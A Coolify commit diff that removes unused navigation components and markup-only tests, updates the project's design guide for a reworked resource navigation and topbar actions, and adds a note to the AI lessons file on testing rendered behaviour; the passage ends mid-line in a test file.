An open-source, self-hostable PaaS alternative to Vercel, Heroku & Netlify that lets you easily deploy static sites, databases, full-stack applications and 360+ one-click services on your own servers.
PHP coolifydatabasesdeploymentdockerdocker-composeinertiajslaravelmariadbmysqlnextjsnodejsphppostgresredisself-hostedself-hostingserverstatic-sitesveltesvelte5
chore: remove unused components and markup-only tests
Andras Bacsaia79ee909c651
diff --git a/.ai/lessons.md b/.ai/lessons.mdindex e596a86c16..e78d70720c 100644--- a/.ai/lessons.md+++ b/.ai/lessons.md@@ -17,6 +17,11 @@- Do not add billing restrictions, live reconciliation, or fallback behavior unless the request includes them.- Treat implementation constraints as details. Do not expand a requested team-level control into a more complex policy model.+## Test behavior, not source markup+- Do not write tests that read Blade or CSS files as text to assert layout, classes, or copy; they break on every redesign and miss real failures.+- Render the component (`Livewire::test()`, an HTTP request) and assert the result, including authorization; use a few `tests/v4/Browser` tests with screenshots for visual flows.+- A source-text check is acceptable only for a correctness or security rule that rendering cannot prove easily, such as stable `wire:key` values or no raw user output.+## Keep dynamic Livewire identities stable- In dynamic lists, key components and actions with immutable record identities, not counts, indexes, or array positions.- Use targeted refresh events. Do not refresh a parent and a child that the parent can remove or hide during the same operation.diff --git a/DESIGN.md b/DESIGN.mdindex 53b058ddef..1226dd0587 100644--- a/DESIGN.md+++ b/DESIGN.md@@ -20,10 +20,9 @@ compact divided list, not legacy green check SVGs or fixed-width status rows.> interactions while changing layout and presentation.> - Add or update tests when a UI change affects behavior. Follow the testing> requirements in `AGENTS.md`.-> - Validate Blade with `docker exec coolify php artisan view:cache`, then clear-> it with `docker exec coolify php artisan view:clear`.-> - Build frontend assets in the Vite container with-> `docker exec coolify-vite npm run build`.+> - Validate Blade with `./scripts/dev exec php artisan view:cache`, then clear+> it with `./scripts/dev exec php artisan view:clear`.+> - Build frontend assets with `npm run build`.> - Use existing components before adding another styling abstraction.---@@ -42,7 +41,7 @@ The interface is compact and product-focused:- the Coolify purple brand accent in light mode;- the readable Coolify yellow accent in dark mode;- solid active-item fills (neutral black/white opacity), not accent gradients;- active state is the left accent rail plus a flat selected surface;+ active state is a flat selected surface with no accent rail;- sentence-case labels and headings;- never use the em dash (`—`) in UI copy. Prefer a period, colon, comma, orASCII hyphen (`-`) for empty cells and separators.@@ -59,17 +58,18 @@ and focus-visible controls retain the accent ring alongside the depth.Movement and depth-shadow changes transition over 80ms; color transitions keepthe shared 120ms duration.Standard button labels use `capitalize`, giving each word an initial capital.-Highlighted buttons mix the accent equally with black for a pronounced bottom-edge, so custom theme colors produce a matching edge instead of a generic one.-Dark mode matches the depth edge of neutral buttons to their regular border-color. Highlighted buttons keep their dark, color-matched accent edge.+Highlighted buttons use `--color-coollabs-300` for their bottom edge; the+custom theme derives it from its bright color mixed with black, so custom+colors keep a matching edge. Dark mode matches the depth edge of neutral+buttons to their regular border color (`rgb(255 255 255 / 0.08)`).---## 2. Development and cascade notes-PHP runs in the `coolify` container. The development app is normally available-at `http://localhost:8000`, with Vite on port `5173`.+PHP runs in this branch's Coolify container (`./scripts/dev exec …`). The main+checkout serves the app at `http://localhost:8000` with Vite on `5173`;+worktrees use the port block printed by `./scripts/dev urls`.`resources/css/app.css` still contains unlayered global element rules forheadings, labels, and tables. Tailwind utilities are layered, so the@@ -89,8 +89,8 @@ Important consequences:- add shared surface overrides to the unlayered block instead of stacking`!important` utilities;- listbox panels require ancestors with `overflow: visible`;-- anchored cards use `scroll-margin-top: 7rem` to clear both fixed navigation- layers;+- anchored cards use `scroll-margin-top: 7rem` to clear the fixed topbar and+ the page's top padding;- modal shells reuse the layer-card classes but keep content-width sizing ondesktop;- Alpine code inside quoted Blade attributes must not introduce conflicting@@ -104,11 +104,11 @@ The surface ladder is defined in `resources/css/app.css`.| Token | Light | Dark | Use ||---|---|---|---|-| `--coollabs-canvas` | 97% off-white | 10% neutral | page canvas (kept below card fills so cards lift) |-| `--coollabs-elevated` | 98% neutral | 15% neutral | shells and card headers |-| `--coollabs-base` | white | 17% neutral | nested card bodies |-| `--coollabs-recessed` | 96% neutral | 20% neutral | inputs and listboxes |-| `--coollabs-fill` | 92.2% neutral | 26.9% neutral | dividers and passive fills |+| `--coollabs-canvas` | 97% off-white | 14.48% neutral | page canvas (kept below card fills so cards lift) |+| `--coollabs-elevated` | 98% neutral | 20.02% neutral | shells and card headers |+| `--coollabs-base` | white | 22.64% neutral | nested card bodies |+| `--coollabs-recessed` | 96% neutral | 25.2% neutral | inputs and listboxes |+| `--coollabs-fill` | 92.2% neutral | 29.31% neutral | dividers and passive fills || `--coollabs-line` | translucent dark | 32% neutral | control borders || `--coollabs-hairline` | 85.5% neutral | 32% neutral | shell rings (crisp enough to read as a card edge, ~1.5:1) || `--coollabs-subtle` | 50% neutral | 70.8% neutral | labels and muted titles (light darkened for WCAG AA 4.5:1) |@@ -137,17 +137,17 @@ The app shell is three distinct surface layers, not one flat color. Chromelifts, content is the base, cards lift off the content:- **Content canvas** is the base layer: `bg-app` in dark (deepest,- `--color-app` `#0a0a0b`), `bg-gray-50` in light. The `<main>` content area- and page body use it.+ `--color-app` `oklch(14.48% 0 0)`, sRGB 10), `bg-neutral-50` in light. The+ `<main>` content area and page body use it.- **Sidebar and topbar chrome** use `bg-panel` in dark (`--color-panel`- `#141418`, a clear step lighter than the content canvas) and `bg-white` in- light, so the chrome reads as a separate panel from the content.+ `oklch(19.13% 0 0)`, sRGB 20, a clear step lighter than the content canvas)+ and `bg-white` in light, so the chrome reads as a separate panel from the content.-Dark surface tokens are hex, not oklch. oklch lightness compresses toward pure-black below ~15% (oklch(10%) renders as sRGB 3, oklch(15%) as sRGB 11), so oklch-values there give no visible step between layers. The dark ladder is-`--color-app` 10, `--coollabs-elevated` 22, `--coollabs-base` 28,-`--coollabs-recessed` 34 (sRGB), which reads as distinct surfaces.+Dark surface tokens are exact oklch equivalents of chosen sRGB steps. oklch+lightness compresses toward pure black below ~15%, so do not pick dark values by+round oklch percentages. The dark ladder is `--color-app` 10,+`--coollabs-elevated` 22, `--coollabs-base` 28, `--coollabs-recessed` 34 (sRGB),+which reads as distinct surfaces.Temperature: every panel is **pure neutral gray** (r=g=b), one consistenttemperature across the sidebar, tables, cards, inputs, dividers, borders, and@@ -171,60 +171,54 @@ color. Row-hover states keep the lighter `dark:hover:bg-white/[0.025]`.- Main sidebar groups are compact, use outline Reicons, and keep a 32px rowheight.-- Active sidebar rows are rounded pills (`rounded-md`) with an accent rail on- the left plus a solid neutral selected fill (`bg-black/5` light,- `bg-white/6` dark). Hover rows use the same radius. Do not use accent-tinted- gradients on nav rows; yellow washes look muddy on dark UI.-- Nested items use a thin guide line with a visible active segment, not a thick- box border.+- Active sidebar rows are rounded pills (`rounded-md`) with a solid neutral+ selected fill (`bg-black/5` light, `bg-white/6` dark) and no accent rail.+ Hover rows use the same radius. Do not use accent-tinted gradients on nav+ rows; yellow washes look muddy on dark UI.+- Nested items sit behind a thin 1px guide line (`.nav-children`) and use the+ same selected pill, not a thick box border.- The update badge sits on the version row and uses a tiny fully roundedprimary-action pill.-### Layer-2 navigation+### Resource navigation-Application and server pages use the same fixed second navigation layer-directly below the global topbar. Do not keep a large in-flow resource heading-or legacy `.navbar-main` tabs on one resource type while using the compact-layer-2 bar on another. Active tabs are a light brand fill:--- purple tint in light mode;-- yellow tint in dark mode;-- no fully saturated tab background.+Application, service, database, and server pages have no second navigation+bar; content starts directly below the 48px global topbar. Every route in a+resource family (settings pages, backups, logs, terminal, metrics, danger zone)+is an entry in its grouped settings sidebar. Do not add a tab row, a large+in-flow resource heading, or legacy `.navbar-main` tabs to one resource type.Keep route-derived active state in Blade/Livewire. Do not rely only on Alpinestate because it can disappear after polling or a Livewire morph.-The global topbar owns the current resource identity and its compact status-badges. Layer 2 owns route tabs, resource links, and contextual action buttons-only. If a resource is missing from `x-top-breadcrumb`, extend the global-topbar instead of repeating its name or status summary in layer 2. Mobile-resource navigation may repeat this context because the desktop global topbar-is hidden there.--Desktop resource lifecycle actions dock in `#resource-action-hud-slot` and-use `<x-resource-heading-overflow>`. Show primary actions (Deploy, Redeploy,-Restart, Stop) as sibling header buttons. Collapse that group into an Actions-dropdown only when the remaining top-bar width cannot fit them (breadcrumb-keeps a 200px floor). Infrequent operations live in a separate Advanced-dropdown with the grid icon: force restart / force deploy / force cleanup-on services, and Traefik dashboard / refresh proxy status on servers. Place-Advanced immediately after Links, or first in the action cluster when there-is no Links control. Application Deploy is a dropdown with Deploy and-Deploy (without cache). A running service Restart control is a dropdown with-Restart current version and Pull latest and restart. Mobile-headings keep a full-width Actions dropdown because the desktop HUD is hidden-below `xl`. Do not hide primary actions behind a menu on a wide desktop. Links-stay a separate dropdown because the URL list is unbounded.--Only add layer-2 tabs when they represent real sibling routes inside one-context. Never repeat main-sidebar destinations such as Dashboard, Projects,-Terminal, Servers, Sources, Destinations, or Storage as a second tab row. A-single collection page does not need a tab just to fill the bar; keep its-primary action in the page header instead. When tabs are useful, their left edge-uses the same compact `pl-2` alignment as application navigation rather than-the content container's wide horizontal padding.--A layer-2 tab must be active on the page that renders it. A bar whose only tab+The global topbar owns the current resource identity, its compact status+badges, configuration warnings (`#configuration-warning-hud-slot`), and the+resource actions (`#resource-action-hud-slot`). If a resource is missing from+`x-top-breadcrumb`, extend the global topbar instead of repeating its name or+status summary in the page. Below `xl` the resource heading repeats the name,+status, and links in-flow because the desktop HUD is hidden there.++Desktop resource actions dock in `#resource-action-hud-slot` (visible from+`xl`) as one `<x-split-action>`. The main button is the primary action for the+current state (Deploy, Restart, Start, Restart Proxy); the caret opens a menu+with the secondary actions: Deploy (without cache) and Restart on applications,+Pull latest and restart / Force Restart / Force Deploy / Force Cleanup+Containers on services, Refresh Proxy Status on servers. Stop is the last menu+item in the error color. Stop, restart, and removal items open the existing+confirmation modals. Do not add a separate Advanced dropdown or collapse actions+into an overflow menu. Place Links (`x-applications.links`, `x-services.links`)+or the server Traefik Dashboard link immediately before the split action; Links+stay a separate dropdown because the URL list is unbounded. Below `xl` the same+split action renders full width under the in-flow resource name. A resource+that cannot deploy yet shows a single Actions dropdown that explains why.++The only fixed tab strip left is `x-dashboard.navbar`, and it renders only when+a page has at least two real sibling routes or header actions. Never repeat+main-sidebar destinations such as Dashboard, Projects, Terminal, Servers,+Sources, Destinations, or Storage as a tab row. A single collection page does+not need a tab just to fill the bar; keep its primary action in the page header.++A tab must be active on the page that renders it. A bar whose only tabpoints at a different route reads as broken navigation, so project andenvironment pages (`project.show`, `project.edit`, `project.environment.edit`,`project.clone-me`) carry a plain page header with a 24px title and a 13px@@ -232,11 +226,11 @@ muted summary instead of a bar. The environment identity and the way back toits resources already live in `x-top-breadcrumb`; do not restate them in asub-header.-The dashboard is a compact overview, not a metrics wall. Use two full-width-sections that follow the projects-page grid pattern: projects first, then-servers. Keep one `New` action in the page header and let its modal choose the-resource type. Place active deployments above the resource grids as a compact,-live-updating table rather than a metric card. Communicate server health with+The dashboard is a compact overview, not a metrics wall. It has no page header:+live active deployments come first as a compact table, followed by traffic+analytics when a server has it enabled, then two full-width sections (Projects,+then Servers) that follow the projects-page grid pattern. Each section uses+`x-section-heading` linking to its full index. Communicate server health withthe shared status badge.### Top-level dashboard destinations@@ -258,9 +252,9 @@ cards. Sources, destinations, S3 storage, private keys, and shared-variablescopes use this pattern.Top-level settings families such as Team, Notifications, Keys & Tokens, and-instance Settings use a compact header followed by a small route-derived tab-strip. The active tab uses the same purple-light/yellow-dark tint as resource-tabs. Do not nest `<button>` elements inside tab links.+instance Settings use their `*settings-layout` component: the same grouped,+icon-led settings sidebar as resources, plus a `settings-mobile-header` title+below `xl`. Do not nest `<button>` elements inside sidebar links.### Route-family consistency@@ -270,11 +264,10 @@ its index or most visible route:- index, create, detail, settings, logs, metrics, backup, execution, and dangerroutes must share the same navigation hierarchy and surface language;- main-sidebar collection routes use the global shell without duplicating those- destinations in a layer-2 tab row;-- resource detail families use resource identity and status in the global- topbar, route tabs and actions in layer 2, and the grouped settings sidebar- only for the third level;-- create and edit routes stay inside the same layer-2 family instead of+ destinations in a tab row;+- resource detail families use resource identity, status, and actions in the+ global topbar, and put every sibling route in the grouped settings sidebar;+- create and edit routes stay inside the same sidebar family instead offalling back to an isolated legacy page;- reusable partials, empty states, confirmation flows, and row editors must beupdated with the page that exposes them;@@ -292,40 +285,37 @@ content below the filter card.### Settings workspace-Application and server configuration pages use the same 210px grouped,-icon-led sidebar and a full-width content column. The workspace is capped at-1180px, the sidebar becomes sticky at `xl`, and the sidebar label and first-content card start on the same visual line. Do not use the legacy-`sub-menu-wrapper`, native mobile page selects, or an in-flow row of top-level-tabs. Only show nested section anchors when a page has at least four useful-sections.+Application, service, database, server, and top-level settings pages use the+same 210px grouped, icon-led sidebar and a full-width content column. From `xl`+the sidebar is a fixed full-height rail below the topbar that tracks the main+sidebar width, with its own fill, right hairline, filter input, and scroll. Below+`xl` it becomes a wrapped grid of links above the content. Do not use the legacy+`sub-menu-wrapper`, native mobile page selects, or a row of top-level tabs. Only+show nested section anchors when a page has at least four useful sections.The shared workspace grid is:```blade-<div- class="application-settings-workspace mt-8 grid min-w-0 gap-8- xl:mt-0 xl:grid-cols-[210px_minmax(0,1fr)] xl:gap-10">- <aside class="application-settings-navigation min-w-0 xl:sticky xl:top-26 xl:self-start">- ...- </aside>- <div class="min-w-0 xl:mt-3">- ...+<section class="application-settings-workspace w-full max-w-none">+ <div class="grid min-w-0 gap-8 xl:grid-cols-[210px_minmax(0,1fr)] xl:gap-8">+ <x-application.configuration-sidebar :application="$application" :current-route="$currentRoute" />+ <div class="min-w-0">+ ...+ </div></div>-</div>+</section>```-Instance Settings constrains both `x-settings.navbar` and the workspace to the-same `max-w-[1180px]` shell.+Instance Settings uses `x-settings.layout` with the same full-width workspace.-**Page titles (global):** family H1s (`x-dashboard.navbar` with-`titleOnDesktop="false"`, the default) hide at **lg+**, the same breakpoint as-the desktop shell (main sidebar + fixed layer-2 tabs). Below `lg` the mobile-topbar is used and the page title stays visible. Collection indexes (Servers,-Projects, …) always keep their H1; stack title above actions on narrow widths-so they never overlap. Resource in-flow names only render below `md` (when the-fixed resource tab bar is hidden). Fixed layer-2 spacers must be `lg:h-12` to-match the bar height. Do not put the H1 beside the settings sidebar.+**Page titles (global):** `x-dashboard.navbar` H1s (`titleOnDesktop="false"`,+the default) hide at **lg+** only when the page renders a fixed tab strip or+actions; otherwise they stay visible. Collection indexes (Servers, Projects, …)+always keep their H1; stack title above actions on narrow widths so they never+overlap. Application, service, and database names render in-flow below `xl`+(the desktop action HUD breakpoint), server names below `lg`, and settings+families use `settings-mobile-header` below `xl`. Fixed tab-strip spacers must+be `lg:h-12` to match the bar height. Do not put the H1 beside the settings sidebar.Standard content stack:@@ -761,11 +751,11 @@ Use these as implementation references:|---|---|| Dashboard overview | `resources/views/livewire/dashboard.blade.php` || Top-level collection cards | `resources/views/livewire/project/index.blade.php`, `resources/views/source/all.blade.php` |-| Top-level family tabs | `resources/views/components/team/navbar.blade.php`, `resources/views/components/notification/navbar.blade.php` |+| Top-level settings families | `resources/views/components/team/settings-layout.blade.php`, `resources/views/components/notification/settings-layout.blade.php` || General settings and form anatomy | `resources/views/livewire/project/application/general.blade.php` || Advanced settings | `resources/views/livewire/project/application/advanced.blade.php` |-| Fixed layer-2 resource navigation | `resources/views/livewire/project/application/heading.blade.php`, `resources/views/livewire/server/navbar.blade.php` |-| Grouped settings sidebar | `resources/views/livewire/project/application/configuration.blade.php`, `resources/views/components/server/sidebar.blade.php` |+| Resource actions in the topbar | `resources/views/livewire/project/application/heading.blade.php`, `resources/views/components/split-action.blade.php`, `resources/views/livewire/server/navbar.blade.php` |+| Grouped settings sidebar | `resources/views/components/application/configuration-sidebar.blade.php`, `resources/views/components/server/sidebar.blade.php` || Dense environment table and footer | `resources/views/livewire/project/shared/environment-variable/all.blade.php` || Standard table toolbar controls | `resources/views/components/table/*` || Application metrics charts | `resources/views/livewire/project/shared/metrics.blade.php` |@@ -795,7 +785,7 @@ oversized 200px status numbers.2. Read the current Blade and Livewire class before changing presentation.3. Preserve every existing action, authorization check, loading state, andconfirmation.-4. Add the correct dual navigation and scoped workspace/form class.+4. Add the grouped settings sidebar and scoped workspace/form class.5. Convert meaningful groups to layer cards and use `gap-6`.6. Make the responsive column count match the controls visible in every state.7. Replace native selects and checkbox-style configuration with listboxes.@@ -808,6 +798,6 @@ oversized 200px status numbers.14. Check fixed-nav anchor offsets and responsive stacking.15. Sweep every sibling route for legacy controls and shells.16. Run `git diff --check`.-17. Compile Blade views in the `coolify` container.-18. Build assets in `coolify-vite`.+17. Compile Blade views with `./scripts/dev exec php artisan view:cache`.+18. Build assets with `npm run build`.19. Hard-refresh and inspect the family routes in both themes.diff --git a/resources/css/app.css b/resources/css/app.cssindex 3fc162101d..7dbbc247fa 100644--- a/resources/css/app.css+++ b/resources/css/app.css@@ -1704,7 +1704,7 @@ html[data-theme="custom"] textarea:disabled {/* crisp ring + a restrained lift so the card separates from the canvas(shadcn-style), not a heavy floating shadow */box-shadow: 0 0 0 1px var(--coollabs-hairline), 0 1px 2px 0 rgb(0 0 0 / 0.05);- /* keep anchored scrolls (scrollIntoView) clear of the fixed topbar + layer-2 nav */+ /* keep anchored scrolls (scrollIntoView) clear of the fixed topbar and page padding */scroll-margin-top: 7rem;}@@ -2120,44 +2120,6 @@ html[data-theme="custom"] textarea:disabled {overflow: visible;}-.resource-heading-overflow {- display: inline-flex;- align-items: center;-}--.resource-heading-overflow-items {- display: flex;- align-items: center;- gap: 0.125rem;-}--.resource-heading-overflow-items.is-measuring {- display: flex !important;- visibility: hidden !important;- position: absolute !important;- inset: auto auto 0 0 !important;- flex-direction: row !important;- width: max-content !important;- height: auto !important;- max-width: none !important;- max-height: none !important;- overflow: visible !important;- pointer-events: none !important;- padding: 0 !important;- border: 0 !important;- background: transparent !important;- box-shadow: none !important;-}--.resource-heading-overflow.is-collapsed .resource-heading-overflow-items > .button,-.resource-heading-overflow.is-collapsed .resource-heading-overflow-items > a.button {- width: 100%;- justify-content: flex-start;- height: auto;- min-height: 2rem;- padding: 0.375rem 0.625rem;-}-/* Heading action group: buttons + dropdown triggers styled like the tabs */.application-heading-actions .button,.application-heading-actions .app-tab,diff --git a/resources/views/livewire/dashboard.blade.php b/resources/views/livewire/dashboard.blade.phpindex 102d097be5..4f887d7180 100644--- a/resources/views/livewire/dashboard.blade.php+++ b/resources/views/livewire/dashboard.blade.php@@ -27,7 +27,7 @@@if ($dashboardProjects->isEmpty())<x-empty title="No projects yet"- description="Use New to create your first deployment workspace."+ description="Create your first deployment workspace from Projects."icon-name="projects" size="sm" />@else<div class="grid min-w-0 grid-cols-1 gap-3 sm:grid-cols-2 lg:grid-cols-4">diff --git a/resources/views/livewire/project/application/heading.blade.php b/resources/views/livewire/project/application/heading.blade.phpindex 7f96be121b..2449c65ddb 100644--- a/resources/views/livewire/project/application/heading.blade.php+++ b/resources/views/livewire/project/application/heading.blade.php@@ -1,29 +1,4 @@<nav wire:poll.10000ms="checkStatus" class="w-full max-w-none pb-4 md:pb-6 lg:pb-0">- @php- $routeIs = fn (string|array $routes): bool => \Illuminate\Support\Str::is($routes, $activeRouteName);- // Settings covers all configuration sub-pages (General, Webhooks, Domains, …),- // not only project.application.configuration. Primary tabs that are NOT settings:- // backups, console, deployment logs, runtime logs.- $isSettingsRoute = $routeIs('project.application.*')- && ! $routeIs([- 'project.application.backup.*',- 'project.application.command',- 'project.application.deployment.*',- 'project.application.logs',- ]);- $applicationMenuItems = [- [- 'label' => 'Settings',- 'route' => 'project.application.configuration',- 'active' => $isSettingsRoute,- ],- ];-- $applicationMenuItems = array_values(array_filter(- $applicationMenuItems,- fn (array $item): bool => $item['visible'] ?? true,- ));- @endphp<div><div class="mb-3 w-full xl:hidden"><div class="flex min-w-0 flex-col items-start gap-2">diff --git a/resources/views/livewire/project/service/heading.blade.php b/resources/views/livewire/project/service/heading.blade.phpindex dbaac3d51a..f38ce076fd 100644--- a/resources/views/livewire/project/service/heading.blade.php+++ b/resources/views/livewire/project/service/heading.blade.php@@ -1,47 +1,5 @@<nav wire:poll.10000ms="checkStatus" class="w-full max-w-none pb-4 md:pb-6 lg:pb-0">@php- $servicePageItems = [- [- 'label' => 'Settings',- 'route' => 'project.service.configuration',- 'active' => request()->routeIs('project.service.configuration')- || request()->routeIs('project.service.domains')- || request()->routeIs('project.service.environment-variables')- || request()->routeIs('project.service.storages')- || request()->routeIs('project.service.scheduled-tasks*')- || request()->routeIs('project.service.webhooks')- || request()->routeIs('project.service.resource-operations')- || request()->routeIs('project.service.analytics')- || request()->routeIs('project.service.tags')- || request()->routeIs('project.service.danger')- || request()->routeIs('project.service.index*')- || request()->routeIs('project.service.database.*'),- ],- [- 'label' => 'Backups',- 'route' => 'project.service.volume-backups.index',- 'active' => request()->routeIs('project.service.volume-backups.*'),- ],- [- 'label' => 'Runtime Logs',- 'route' => 'project.service.logs',- 'active' => request()->routeIs('project.service.logs'),- 'navigate' => false,- ],- [- 'label' => 'Terminal',- 'route' => 'project.service.command',- 'active' => request()->routeIs('project.service.command'),- 'navigate' => false,- 'visible' => auth()->user()?->can('canAccessTerminal'),- ],- ];-- $servicePageItems = array_values(array_filter(- $servicePageItems,- fn (array $item): bool => $item['visible'] ?? true,- ));-$serviceStatus = str($service->status ?? 'exited');$selectedResourceUuid = data_get($parameters, 'stack_service_uuid');$selectedResource = $selectedResourceUuiddiff --git a/tests/Feature/AccessControlRegressionTest.php b/tests/Feature/AccessControlRegressionTest.phpindex b48bf537bb..47af019739 100644--- a/tests/Feature/AccessControlRegressionTest.php+++ b/tests/Feature/AccessControlRegressionTest.php@@ -1,13 +1,7 @@<?php-use App\Livewire\Tags\Deployments as TagDeployments;use App\Livewire\Team\AdminView;-use App\Models\Application;-use App\Models\ApplicationDeploymentQueue;-use App\Models\Environment;use App\Models\InstanceSettings;-use App\Models\Project;-use App\Models\Server;use App\Models\Team;use App\Models\User;use Illuminate\Foundation\Testing\RefreshDatabase;@@ -46,39 +40,3 @@ test('team admin view checks instance admin access when it renders', function ()expect(fn () => (new AdminView)->render())->toThrow(HttpException::class);});--test('tag deployments include only applications in the current team', function () {- $team = Team::factory()->create();- $user = User::factory()->create();- $team->members()->attach($user->id, ['role' => 'owner']);- $this->actingAs($user);- session(['currentTeam' => $team]);-- $createDeployment = function (Team $owner, string $name): Application {- $server = Server::factory()->create(['team_id' => $owner->id]);- $project = Project::factory()->create(['team_id' => $owner->id]);- $environment = Environment::factory()->create(['project_id' => $project->id]);- $application = Application::factory()->create(['environment_id' => $environment->id]);- ApplicationDeploymentQueue::create([- 'application_id' => $application->id,- 'application_name' => $name,- 'deployment_uuid' => fake()->uuid(),- 'server_id' => $server->id,- 'server_name' => $server->name,- 'status' => 'queued',- ]);-- return $application;- };-- $owned = $createDeployment($team, 'Owned deployment');- $foreign = $createDeployment(Team::factory()->create(), 'Foreign deployment');-- $component = Livewire::test(TagDeployments::class)- ->set('resourceIds', [$owned->id, $foreign->id])- ->call('getDeployments');- $names = collect($component->get('deploymentsPerTagPerServer'))->flatten(1)->pluck('application_name');-- expect($names->all())->toContain('Owned deployment')- ->not->toContain('Foreign deployment');-});diff --git a/tests/Feature/ActivityMonitorCrossTeamTest.php b/tests/Feature/ActivityMonitorCrossTeamTest.phpindex dc15140c6c..9c90953091 100644--- a/tests/Feature/ActivityMonitorCrossTeamTest.php+++ b/tests/Feature/ActivityMonitorCrossTeamTest.php@@ -5,7 +5,7 @@ use App\Models\Server;use App\Models\Team;use App\Models\User;use Illuminate\Foundation\Testing\RefreshDatabase;-use Livewire\Exceptions\CannotUpdateLockedPropertyException;+use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;use Livewire\Livewire;use Spatie\Activitylog\Models\Activity;diff --git a/tests/Feature/AddServerTimingHeadersTest.php b/tests/Feature/AddServerTimingHeadersTest.phpindex 258b721af2..f816322845 100644--- a/tests/Feature/AddServerTimingHeadersTest.php+++ b/tests/Feature/AddServerTimingHeadersTest.php@@ -109,43 +109,6 @@ test('removes stale Content-Length after injecting the HUD', function () {expect($response->headers->has('Content-Length'))->toBeFalse();});-test('app shell exposes Server-Timing HUD dock slots in desktop and mobile top bars', function () {- $layout = file_get_contents(resource_path('views/layouts/app.blade.php'));-- expect($layout)- ->toContain('id="server-timing-hud-slot"')- ->toContain('id="server-timing-hud-slot-mobile"')- ->toContain('data-server-timing-hud-slot');-});--test('Server-Timing HUD docks into navbar slots and floats only as fallback', function () {- $hud = file_get_contents(resource_path('views/components/server-timing-hud.blade.php'));-- expect($hud)- ->toContain('server-timing-hud-slot')- ->toContain('server-timing-hud-slot-mobile')- ->toContain("matchMedia('(min-width: 1024px)')")- ->toContain('floats bottom-left only if no navbar slot is available')- // Both navbar pills stay compact (app ms only); the full breakdown lives in the panel/float fallback.- ->toContain("root.getAttribute('data-sth-mode') === 'docked'")- ->toContain('compactSummary')- ->not->toContain("compactSummary = root.getAttribute('data-sth-mode') === 'docked'\n && root.parentElement");-});--test('Server-Timing HUD follows the application color mode', function () {- $hud = file_get_contents(resource_path('views/components/server-timing-hud.blade.php'));-- expect($hud)- ->toContain('#server-timing-hud {')- ->toContain('html.dark #server-timing-hud {')- ->toContain('--sth-background: rgba(255, 255, 255, .96)')- ->toContain('--sth-background: rgba(16, 16, 16, .96)')- ->toContain('var(--sth-text)')- ->toContain('var(--sth-border)')- ->toContain('[data-sth-log]::-webkit-scrollbar-thumb')- ->toContain('scrollbar-color: var(--sth-scrollbar-thumb) var(--sth-scrollbar-track)');-});-test('does not inject HUD into non-HTML or fragment responses', function () {Config::set('app.server_timing', true);@@ -215,16 +178,3 @@ test('SERVER_TIMING_ENABLED can force server_timing on or off regardless of APP_expect($resolve('0', 'local'))->toBeFalse();expect($resolve('off', 'local'))->toBeFalse();});-test('server timing HUD can be toggled from the development command center', function () {- $hud = file_get_contents(resource_path('views/components/server-timing-hud.blade.php'));- $commandCenter = file_get_contents(resource_path('views/livewire/global-search.blade.php'));-- expect($hud)- ->toContain('coolify.serverTimingHud.enabled')- ->toContain('server-timing-hud-visibility-changed')- ->and($commandCenter)- ->toContain("app()->environment('local')")- ->toContain('Toggle Server Timing HUD')- ->toContain("localStorage.setItem('coolify.serverTimingHud.enabled'")- ->toContain("window.dispatchEvent(new CustomEvent('server-timing-hud-visibility-changed'))");-});diff --git a/tests/Feature/AdminSubscriptionStatusTest.php b/tests/Feature/AdminSubscriptionStatusTest.phpindex 94e1609354..702dd090ba 100644--- a/tests/Feature/AdminSubscriptionStatusTest.php+++ b/tests/Feature/AdminSubscriptionStatusTest.php@@ -42,6 +42,7 @@ test('admin search only shows users with paid subscriptions as active', function'search' => '[email protected]',])->call('submitSearch')- ->assertSee('No')- ->assertDontSee('Yes');+ ->assertSee('[email protected]')+ ->assertSeeHtml('<span class="truncate">Inactive</span>')+ ->assertDontSeeHtml('<span class="truncate">Active</span>');});diff --git a/tests/Feature/AllResourceRestartLimitsTest.php b/tests/Feature/AllResourceRestartLimitsTest.phpindex 54efe447aa..27402b91d6 100644--- a/tests/Feature/AllResourceRestartLimitsTest.php+++ b/tests/Feature/AllResourceRestartLimitsTest.php@@ -66,86 +66,6 @@ it('ignores docker compose one-off job containers in both status sources', funct->toContain("filter_var(\$labels->get('com.docker.compose.oneoff'), FILTER_VALIDATE_BOOLEAN)");});-it('shows restart limit warnings for every resource family', function () {- $previews = file_get_contents(resource_path('views/livewire/project/application/previews.blade.php'));- $serviceCard = file_get_contents(resource_path('views/livewire/project/service/resource-card.blade.php'));- $applicationStatus = file_get_contents(resource_path('views/livewire/project/application/status.blade.php'));- $databaseStatus = file_get_contents(resource_path('views/livewire/project/database/status.blade.php'));-- expect($previews)->toContain('<x-application.restart-limit-warning :application="$preview" />')- ->and($serviceCard)->toContain('<x-application.restart-limit-warning :application="$resource" />')- ->and($applicationStatus)->toContain('<x-application.restart-limit-warning :application="$application" />')- ->and($databaseStatus)->toContain('<x-application.restart-limit-warning :application="$database" />');-- $serviceStatus = file_get_contents(resource_path('views/livewire/project/service/status.blade.php'));- $serviceHeading = file_get_contents(resource_path('views/livewire/project/service/heading.blade.php'));- expect($serviceStatus)->toContain('<x-application.restart-limit-warning :application="$selectedResource" />')- ->and($serviceStatus)->toContain('$selectedResource?->status ?? $service->status')- ->and($serviceHeading)->toContain('<x-application.restart-limit-warning :application="$selectedResource" />')- ->and($serviceHeading)->toContain('$selectedResource?->status ?? $service->status');-});--it('matches application restart badge layout on mobile resource headings', function () {- $applicationHeading = file_get_contents(resource_path('views/livewire/project/application/heading.blade.php'));- $databaseHeading = file_get_contents(resource_path('views/livewire/project/database/heading.blade.php'));- $serviceHeading = file_get_contents(resource_path('views/livewire/project/service/heading.blade.php'));-- foreach ([$applicationHeading, $databaseHeading, $serviceHeading] as $heading) {- expect($heading)- ->toContain('class="relative flex w-full min-w-0 items-center gap-2"')- ->toContain('class="flex w-full flex-wrap gap-1"');- }-});--it('shows database restart limits in shared resource listings', function () {- $resourceIndex = file_get_contents(app_path('Livewire/Project/Resource/Index.php'));- $serverResources = file_get_contents(resource_path('views/livewire/server/resources.blade.php'));- $destination = file_get_contents(resource_path('views/livewire/project/shared/destination.blade.php'));-- expect($resourceIndex)- ->toContain("method_exists(\$item, 'stoppedAfterRestartLimit')")- ->not->toContain("\$type === 'application' && \$item->stoppedAfterRestartLimit()")- ->and($serverResources)- ->toContain('<x-application.restart-limit-warning :application="$resource" />')- ->and($destination)- ->toContain('<x-application.restart-limit-warning :application="$resource" />');-});--it('keeps the service resource table readable with horizontal scrolling on mobile', function () {- $configuration = file_get_contents(resource_path('views/livewire/project/service/configuration.blade.php'));- $resourceCard = 